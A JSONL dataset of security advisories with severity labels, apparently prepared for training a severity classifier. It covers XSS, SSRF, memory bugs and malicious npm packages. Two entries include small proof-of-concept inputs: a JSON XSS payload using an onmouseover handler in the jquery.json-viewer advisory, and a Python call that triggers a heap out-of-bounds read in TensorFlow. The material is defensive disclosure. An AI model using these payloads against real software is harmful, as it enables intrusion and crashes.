-{"id": "1c1f309927ad7aee461a", "text": "Use of Sha-1 in tusdotnet\n\n# Withdrawn\n\nAfter reviewing this CVE, we have withdrawn this advisory due to it not having actual security impact.\n\n# Original Advisory\n\nThe client in tusdotnet through 2.5.0 relies on SHA-1 to prevent spoofing of file content.", "text_raw": "Use of Sha-1 in tusdotnet\n\n[Severity: LOW]\n\n# Withdrawn\n\nAfter reviewing this CVE, we have withdrawn this advisory due to it not having actual security impact.\n\n# Original Advisory\n\nThe client in tusdotnet through 2.5.0 relies on SHA-1 to prevent spoofing of file content.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-29", "split": "train"}
-{"id": "6e4f616394eab9c4635a", "text": "Cross-Site Scripting in jquery.json-viewer\n\nVersions of `jquery.json-viewer` prior to 1.3.0 are vulnerable to Cross-Site Scripting (XSS). The package insufficiently sanitizes user input when creating links, and concatenates the user input in an `<a>` tag. This allows attackers to create malicious links with JSON payloads such as: \n```\n{\n  \"foo\": \"https://bar.com\\\" onmouseover=alert('xss') \\\"\"\n}\n```\n\nThis may lead to arbitrary JavaScript execution in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.3.0 or later.", "text_raw": "Cross-Site Scripting in jquery.json-viewer\n\n[Severity: HIGH]\n\nVersions of `jquery.json-viewer` prior to 1.3.0 are vulnerable to Cross-Site Scripting (XSS). The package insufficiently sanitizes user input when creating links, and concatenates the user input in an `<a>` tag. This allows attackers to create malicious links with JSON payloads such as: \n```\n{\n  \"foo\": \"https://bar.com\\\" onmouseover=alert('xss') \\\"\"\n}\n```\n\nThis may lead to arbitrary JavaScript execution in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.3.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1271528c4e4daf695c22", "text": "Denial of Service in https-proxy-agent\n\nWithdrawn: Duplicate of GHSA-8g7p-74h8-hg48", "text_raw": "Denial of Service in https-proxy-agent\n\n[Severity: HIGH]\n\nWithdrawn: Duplicate of GHSA-8g7p-74h8-hg48", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "c1af2d9ba781e9a15dac", "text": "Cross-Site Scripting in cyberchef\n\nVersions of `cyberchef` prior to 8.31.3 are vulnerable to Cross-Site Scripting. In `Text Encoding Brute Force` the table rows are created by concatenating the `value` variable unsanitized in the HTML code. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 8.31.3 or later.", "text_raw": "Cross-Site Scripting in cyberchef\n\n[Severity: MEDIUM]\n\nVersions of `cyberchef` prior to 8.31.3 are vulnerable to Cross-Site Scripting. In `Text Encoding Brute Force` the table rows are created by concatenating the `value` variable unsanitized in the HTML code. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 8.31.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "a6ff0bcfa5b622cc695a", "text": "/user/sessions endpoint allows detecting valid accounts\n\nThis Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.\n\nIf you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc", "text_raw": "/user/sessions endpoint allows detecting valid accounts\n\n[Severity: HIGH]\n\nThis Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.\n\nIf you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "f7322ed1c61fbd046aaa", "text": "Malicious Package in crytpo-js\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in crytpo-js\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1d72220307761d19d406", "text": "Malicious Package in ali-contributor\n\nAll versions of `ali-contributor` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ali-contributor\n\n[Severity: CRITICAL]\n\nAll versions of `ali-contributor` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bb292ace4f8a99192d12", "text": "Server-Side Request Forgery in Concrete CMS\n\nConcrete CMS (formerly concrete5) versions 8.5.6 and below and version 9.0.0 allow local IP importing causing the system to be vulnerable to SSRF attacks on the private LAN to servers by reading files from the local LAN. An attacker can pivot in the private LAN and exploit local network appsandb.", "text_raw": "Server-Side Request Forgery in Concrete CMS\n\n[Severity: MEDIUM]\n\nConcrete CMS (formerly concrete5) versions 8.5.6 and below and version 9.0.0 allow local IP importing causing the system to be vulnerable to SSRF attacks on the private LAN to servers by reading files from the local LAN. An attacker can pivot in the private LAN and exploit local network appsandb.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "385ebdbc6c6062af2436", "text": "Cross-site scripting in LocalStack\n\nA Cross-site scripting (XSS) vulnerability exists in StackLift LocalStack.", "text_raw": "Cross-site scripting in LocalStack\n\n[Severity: MEDIUM]\n\nA Cross-site scripting (XSS) vulnerability exists in StackLift LocalStack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "1d05cddbd589f3285759", "text": "## Duplicate advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-77fw-rf4v-vfp9. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability has been discovered in the Auth0 passport-wsfed-saml2 library affecting versions < 3.0.5. This vulnerability allows an attacker to impersonate another user and potentially elevate their privileges if the SAML identity provider does not sign the full SAML response (e.g., only signs the assertion within the response).", "text_raw": "Duplicate advisory: High severity vulnerability that affects passport-wsfed-saml2\n\n[Severity: HIGH]\n\n## Duplicate advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-77fw-rf4v-vfp9. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability has been discovered in the Auth0 passport-wsfed-saml2 library affecting versions < 3.0.5. This vulnerability allows an attacker to impersonate another user and potentially elevate their privileges if the SAML identity provider does not sign the full SAML response (e.g., only signs the assertion within the response).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-28", "split": "train"}
-{"id": "bfae6f4777a68eb9543b", "text": "Out of bounds read in fltk\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is an out-of bounds read because the pixmap constructor lacks pixmap input validation.", "text_raw": "Out of bounds read in fltk\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is an out-of bounds read because the pixmap constructor lacks pixmap input validation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e34831adcdfd63f6c370", "text": "The PlonePAS product 3.x before 3.9 and 3.2.x before 3.2.2, a product for Plone, does not properly handle the login form, which allows remote authenticated users to acquire the identity of an arbitrary user via unspecified vectors.", "text_raw": "Moderate severity vulnerability that affects Products.PlonePAS\n\n[Severity: MEDIUM]\n\nThe PlonePAS product 3.x before 3.9 and 3.2.x before 3.2.2, a product for Plone, does not properly handle the login form, which allows remote authenticated users to acquire the identity of an arbitrary user via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "fdf137f2cf6f499e3fa8", "text": "Malicious Package in bp66\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bp66\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "95748ec2f07f23ace0d8", "text": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-java\n\n### Impact\n\nThis update addresses an issue where certain invalid ECDSA signatures incorrectly passed validation. These signatures provide defense in depth and there is no impact on the integrity of decrypted plaintext.\n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages.\n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x", "text_raw": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-java\n\n[Severity: MEDIUM]\n\n### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis update addresses an issue where certain invalid ECDSA signatures incorrectly passed validation. These signatures provide defense in depth and there is no impact on the integrity of decrypted plaintext.\n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "31e8c31656cd67c1e727", "text": "Double-free in id-map\n\nThe clone_from implementation for IdMap drops the values present in the map and then begins cloning values from the other map. If a .clone() call pancics, then the afformentioned dropped elements can be freed again.\nget_or_insert\n\nget_or_insert reserves space for a value, before calling the user provided insertion function f. If the function f panics then uninitialized or previously freed memory can be dropped.\nremove_set\n\nWhen removing a set of elements, ptr::drop_in_place is called on each of the element to be removed. If the Drop impl of one of these elements panics then the previously dropped elements can be dropped again.", "text_raw": "Double-free in id-map\n\n[Severity: CRITICAL]\n\nThe clone_from implementation for IdMap drops the values present in the map and then begins cloning values from the other map. If a .clone() call pancics, then the afformentioned dropped elements can be freed again.\nget_or_insert\n\nget_or_insert reserves space for a value, before calling the user provided insertion function f. If the function f panics then uninitialized or previously freed memory can be dropped.\nremove_set\n\nWhen removing a set of elements, ptr::drop_in_place is called on each of the element to be removed. If the Drop impl of one of these elements panics then the previously dropped elements can be dropped again.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0fb51edcc35f7d45da8d", "text": "F-Secure BlackLight 2.2.1092 Local Privilege Escalation Vulnerability", "text_raw": "F-Secure BlackLight 2.2.1092 Local Privilege Escalation Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-08-14", "split": "train"}
-{"id": "05a3d1b75f159838c4f8", "text": "Prototype Pollution in dotty\n\nThis affects the package dotty before 0.1.2. A type confusion vulnerability can lead to a bypass of CVE-2021-25912 when the user-provided keys used in the path parameter are arrays.", "text_raw": "Prototype Pollution in dotty\n\n[Severity: MEDIUM]\n\nThis affects the package dotty before 0.1.2. A type confusion vulnerability can lead to a bypass of CVE-2021-25912 when the user-provided keys used in the path parameter are arrays.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "dd647da64b0cb6bccfd6", "text": "Sensitive Data Exposure in seneca\n\nVersions of `seneca` prior to 3.9.0 are vulnerable to Sensitive Data Exposure. When a process using the package crashes all environment variables are printed. This may leak sensitive data such as access keys, especially given scenarios when log-monitoring systems store the error output.\n\n## Recommendation\n\nUpgrade to version 3.9.0 or later.", "text_raw": "Sensitive Data Exposure in seneca\n\n[Severity: LOW]\n\nVersions of `seneca` prior to 3.9.0 are vulnerable to Sensitive Data Exposure. When a process using the package crashes all environment variables are printed. This may leak sensitive data such as access keys, especially given scenarios when log-monitoring systems store the error output.\n\n\n## Recommendation\n\nUpgrade to version 3.9.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "0fe25d80f797285cd68c", "text": "Regular Expression Denial of Service (ReDoS) in Pillow\n\nAn issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex.", "text_raw": "Regular Expression Denial of Service (ReDoS) in Pillow\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "01155569d0bbbf100b9e", "text": "Cross-Site Scripting in marked\n\nVersions 0.3.7 and earlier of marked unescape only lowercase while owsers support both lowercase and uppercase x in hexadecimal form of HTML character entity", "text_raw": "Cross-Site Scripting in marked\n\n[Severity: MEDIUM]\n\nVersions 0.3.7 and earlier of marked unescape only lowercase while owsers support both lowercase and uppercase x in hexadecimal form of HTML character entity", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "ea8bc51ec221833beecd", "text": "Prototype Pollution in swiper\n\nVersions of the package swiper before 6.5.1 are susceptible to prototype pollution.", "text_raw": "Prototype Pollution in swiper\n\n[Severity: CRITICAL]\n\nVersions of the package swiper before 6.5.1 are susceptible to prototype pollution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "0e0d39f3bda5a62eb01c", "text": "github.com/ulikunitz/xz fixes readUvarint Denial of Service (DoS)\n\n### Impact\n\nxz is a compression and decompression library focusing on the xz format completely written in Go. The function readUvarint used to read the xz container format may not terminate a loop provide malicous input.\n\n### Patches\n\nThe problem has been fixed in release v0.5.8.\n\n### Workarounds\n\nLimit the size of the compressed file input to a reasonable size for your use case.\n\n### References\n\nThe standard library had recently the same issue and got the [CVE-2020-16845](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16845) allocated.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [xz](https://github.com/ulikunitz/xz/issues).", "text_raw": "github.com/ulikunitz/xz fixes readUvarint Denial of Service (DoS)\n\n[Severity: HIGH]\n\n### Impact\n\nxz is a compression and decompression library focusing on the xz format completely written in Go. The function readUvarint used to read the xz container format may not terminate a loop provide malicous input.\n\n### Patches\n\nThe problem has been fixed in release v0.5.8.\n\n### Workarounds\n\nLimit the size of the compressed file input to a reasonable size for your use case.\n\n### References\n\nThe standard library had recently the same issue and got the [CVE-2020-16845](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16845) allocated.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [xz](https://github.com/ulikunitz/xz/issues).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "080892d75f0d5514e897", "text": "Options structure open to Cross-site Scripting if passed unfiltered\n\n### Impact\nIn Highcharts versions 8 and earlier, the chart options structure was not systematically filtered for XSS vectors. The potential impact was that content from untrusted sources could execute code in the end user's browser. Especially when using the `useHTML` flag, HTML string options would be inserted unfiltered directly into the DOM. When `useHTML` was false, malicious code could be inserted by using various character replacement tricks or malformed HTML.\n\nIf your chart configuration comes from a trusted source like a static setup or pre-filtered HTML (or no markup at all in the configuration), you are not impacted.\n\n### Patches\nIn version 9, the whole rendering layer was refactored to use an DOMParser, an AST and tag and HTML allow-listing to make sure only safe content entered the DOM. In addition, prototype pollution was stopped.\n\n### Workarounds\nImplementers who are not able to upgrade may apply [DOMPurify](https://github.com/cure53/DOMPurify) recursively [to the options structure](https://jsfiddle.net/highcharts/zd3wcm5L/) to filter out malicious markup.\n\n### References\n* Details on the improved [Highcharts security](https://www.highcharts.com/docs/chart-concepts/security)\n* [The AST and TextBuilder refactoring](https://github.com/highcharts/highcharts/pull/14913)\n* [The fix for prototype pollution](https://github.com/highcharts/highcharts/pull/14884)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit our [support page](https://www.highcharts.com/blog/support/)\n* For more Email us at [security@highcharts.com](mailto:security@highcharts.com)", "text_raw": "Options structure open to Cross-site Scripting if passed unfiltered\n\n[Severity: HIGH]\n\n### Impact\nIn Highcharts versions 8 and earlier, the chart options structure was not systematically filtered for XSS vectors. The potential impact was that content from untrusted sources could execute code in the end user's browser. Especially when using the `useHTML` flag, HTML string options would be inserted unfiltered directly into the DOM. When `useHTML` was false, malicious code could be inserted by using various character replacement tricks or malformed HTML.\n\nIf your chart configuration comes from a trusted source like a static setup or pre-filtered HTML (or no markup at all in the configuration), you are not impacted.\n\n### Patches\nIn version 9, the whole rendering layer was refactored to use an DOMParser, an AST and tag and HTML allow-listing to make sure only safe content entered the DOM. In addition, prototype pollution was stopped.\n\n### Workarounds\nImplementers who are not able to upgrade may apply [DOMPurify](https://github.com/cure53/DOMPurify) recursively [to the options structure](https://jsfiddle.net/highcharts/zd3wcm5L/) to filter out malicious markup.\n\n### References\n* Details on the improved [Highcharts security](https://www.highcharts.com/docs/chart-concepts/security)\n* [The AST and TextBuilder refactoring](https://github.com/highcharts/highcharts/pull/14913)\n* [The fix for prototype pollution](https://github.com/highcharts/highcharts/pull/14884)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit our [support page](https://www.highcharts.com/blog/support/)\n* For more Email us at [security@highcharts.com](mailto:security@highcharts.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "925521c9dff8c2c92059", "text": "Cross-site Scripting vulnerability in i18n translations helper method\n\nCross-site scripting (XSS) vulnerability in the i18n translations helper method in Ruby on Rails 3.0.x before 3.0.11 and 3.1.x before 3.1.2, and the rails_xss plugin in Ruby on Rails 2.3.x, allows remote attackers to inject arbitrary web script or HTML via vectors related to a translations string whose name ends with an \"html\" substring.", "text_raw": "Cross-site Scripting vulnerability in i18n translations helper method\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the i18n translations helper method in Ruby on Rails 3.0.x before 3.0.11 and 3.1.x before 3.1.2, and the rails_xss plugin in Ruby on Rails 2.3.x, allows remote attackers to inject arbitrary web script or HTML via vectors related to a translations string whose name ends with an \"html\" substring.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "330ca731dfd0961338db", "text": "Heap OOB in `FusedBatchNorm` kernels\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292) of `FusedBatchNorm` kernels is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.FusedBatchNormGrad(\n  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)\n  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)\n  scale=[1,1],\n  reserve_space_1=[1,1],\n  reserve_space_2=[1,1,1],\n  epsilon=1.0,\n  data_format='NCHW',\n  is_training=True) \n```\n\n### Patches\nWe have patched the issue in GitHub commit [aab9998916c2ffbd8f0592059fad352622f89cda](https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `FusedBatchNorm` kernels\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292) of `FusedBatchNorm` kernels is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n    \ntf.raw_ops.FusedBatchNormGrad(\n  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)\n  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)\n  scale=[1,1],\n  reserve_space_1=[1,1],\n  reserve_space_2=[1,1,1],\n  epsilon=1.0,\n  data_format='NCHW',\n  is_training=True) \n```\n  \n### Patches\nWe have patched the issue in GitHub commit [aab9998916c2ffbd8f0592059fad352622f89cda](https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "bd45aae2d82c369e7478", "text": "Malicious Package in soket.js\n\nAll versions of `soket.js` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in soket.js\n\n[Severity: CRITICAL]\n\nAll versions of `soket.js` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f05122ee20419a1fe014", "text": "OS Command Injection in closure-compiler-stream\n\nclosure-compiler-stream through 0.1.15 allows execution of arbitrary commands. The argument `options` of the exports function in `index.js` can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in closure-compiler-stream\n\n[Severity: CRITICAL]\n\nclosure-compiler-stream through 0.1.15 allows execution of arbitrary commands. The argument `options` of the exports function in `index.js` can be controlled by users without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "5c5a580d8f4a561c1f9c", "text": "Import of incorrectly embargoed keys could cause early publication\n\n### Impact\n\nIf your installation is using the `export-importer` service, there is potential impact.\nIf your installation is not importing keys via the `export-importer` services, your installation is not impacted.\n\nIn versions `0.19.1` and earlier, the `export-importer` service assumed that the server it was importing from had properly embargoed keys for at least 2 hours after their expiry time. There are now known instances of servers that did not properly embargo keys.\n\nThis could allow allow for imported keys to be re-published before they have expired, allowing for potential replay of RPIs.\n\n### Patches\n\nThis is patched in `v0.18.3` and all versions `0.19.2` and later.\n\n### Workarounds\n\nEnsure that the servers you are importing export zip files from are not publishing keys too early.\n\n### References\n\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory\n* Open an issue in [exposure-notifications-server](https://github.com/google/exposure-notifications-server/)\n* Email us at [exposure-notifications-feedback@google.com](mailto:exposure-notifications-feedback@google.com)", "text_raw": "Import of incorrectly embargoed keys could cause early publication\n\n[Severity: MEDIUM]\n\n### Impact\n\nIf your installation is using the `export-importer` service, there is potential impact.\nIf your installation is not importing keys via the `export-importer` services, your installation is not impacted.\n\nIn versions `0.19.1` and earlier, the `export-importer` service assumed that the server it was importing from had properly embargoed keys for at least 2 hours after their expiry time. There are now known instances of servers that did not properly embargo keys.\n\nThis could allow allow for imported keys to be re-published before they have expired, allowing for potential replay of RPIs.\n\n### Patches\n\nThis is patched in `v0.18.3` and all versions `0.19.2` and later.\n\n### Workarounds\n\nEnsure that the servers you are importing export zip files from are not publishing keys too early. \n\n### References\n\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory\n* Open an issue in [exposure-notifications-server](https://github.com/google/exposure-notifications-server/)\n* Email us at [exposure-notifications-feedback@google.com](mailto:exposure-notifications-feedback@google.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ca81f9ead9edababbcef", "text": "Akka Java Serialization vulnerability\n\nAkka versions <=2.4.16 and 2.5-M1 are vulnerable to a java deserialization attack in its Remoting component resulting in remote code execution in the context of the ActorSystem.", "text_raw": "Akka Java Serialization vulnerability\n\n[Severity: HIGH]\n\nAkka versions <=2.4.16 and 2.5-M1 are vulnerable to a java deserialization attack in its Remoting component resulting in remote code execution in the context of the ActorSystem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-22", "split": "train"}
